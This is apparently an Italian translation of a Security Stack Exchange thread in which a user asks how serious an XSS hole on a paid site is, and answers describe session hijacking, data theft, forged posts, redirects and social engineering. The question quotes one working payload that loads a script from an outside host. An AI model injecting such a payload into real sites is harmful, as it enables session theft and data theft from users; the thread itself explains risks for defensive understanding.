Quanto sono gravi gli attacchi XSS

15

Un sito web che visito consente questo tipo di attacco, da implementare con GET nell'URL

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Insieme a molti altri su questa pagina: link

Il sito richiede un account (di solito a pagamento) per accedere a quella pagina, ma comunque.

Quanto è seria la preoccupazione? E che tipo di danno potrebbe essere fatto al sito web?

Capisco che ti sto dando poche informazioni, ma un'idea generale sarebbe carina. Grazie!

(Il sito web viene gestito su un ampio database con dati riservati insieme a account utente, indirizzi, e-mail e così via [nessuna carta di credito]).

    
posta jn1kk 21.10.2011 - 17:43
fonte

3 risposte

16

Tutto ciò che puoi fare con javascript in quanto il proprietario del sito può essere fatto con un attacco XSS. Ciò include la modifica del DOM . È possibile sostituire un'intera pagina e quindi avere il controllo di tutti i dati all'interno e all'esterno del sito Web. Gli script relativamente semplici possono leggere i cookie e inoltrare le informazioni sulla sessione. Sarebbe come Firesheep a distanza - impersonare un utente afferrando le proprie credenziali di accesso.

Inoltre, questo potrebbe introdurre ai visitatori del tuo sito qualsiasi tipo di attacco che interessa i browser.

    
risposta data 21.10.2011 - 18:06
fonte
12

L'XSS da solo non fa molti danni, ma può essere facilmente combinato con altre tecniche per formare potenti vettori di attacco. Alcune possibilità sono:

dirottamento di sessione - Spesso i cookie di sessione possono essere letti da Javascript. Attraverso XSS, è possibile montare uno script che legge l'ID di sessione di un utente e lo restituisce all'attaccante (un metodo semplice ma efficace consiste nell'aggiungere un elemento img al DOM, dove l'URL dell'immagine porta l'ID di sessione); l'attaccante può quindi dirottare una sessione autenticata inserendo l'ID di sessione nel proprio cookie di sessione.

Scansione di informazioni riservate : se una pagina con una vulnerabilità XSS contiene informazioni riservate e la invia all'autore dell'attacco (proprio come il cookie di sessione).

pubblicazione dei dati per conto di qualcun altro - Tramite XSS, un modulo di invio può essere intercettato e modificato, o persino attivato, postando dati senza il consenso dell'utente. Ad esempio, se è possibile compromettere un client di posta elettronica, è possibile dirottare il pulsante "Invia" per aggiungersi all'elenco dei destinatari.

reindirizzamento pericoloso : uno script XSS può alterare gli URL di qualsiasi link sulla pagina. Ciò può essere abusato, ad esempio, per inviare l'utente a una pagina di accesso falsificata; invece di effettuare l'accesso, inviano le loro credenziali all'autore dell'attacco.

social engineering - Inserendo messaggi di errore, avvisi, ecc., puoi ingannare gli utenti in ogni tipo di comportamento non sicuro. Ad esempio, un utente malintenzionato potrebbe richiedere agli utenti di scaricare e aprire un determinato file; se il sito che chiede loro di farlo ha un alto livello di fiducia con l'utente, è probabile che eseguiranno in modo acritico qualsiasi cosa, che consenta di montare trojan e altri malware.

Si noti inoltre che molti vettori di attacco funzionano senza che l'utente apra consapevolmente la pagina compromessa: spesso, la pagina compromessa viene inserita in un iframe invisibile da qualche altra parte, come ad esempio un forum che la vittima probabilmente visiterà o una pagina collegata da ancora da qualche altra parte.

    
risposta data 22.10.2011 - 13:51
fonte
9

Ci sono due aspetti:

  • Una vulnerabilità XSS consente all'autore dell'attacco di fare qualsiasi cosa, la vittima è autorizzata a fare con il sistema. Se la vittima è un membro dello staff, è probabile che abbia accesso a informazioni personali come indirizzi e-mail o coordinate bancarie. Inoltre, tali account possono consentire di modificare il contenuto e sostituirlo con dichiarazioni inappropriate o exploit del browser.

  • Un hack di successo può comportare una copertura stampa estremamente negativa. Questo potrebbe essere molto peggiore del danno diretto.

risposta data 21.10.2011 - 18:01
fonte

Leggi altre domande sui tag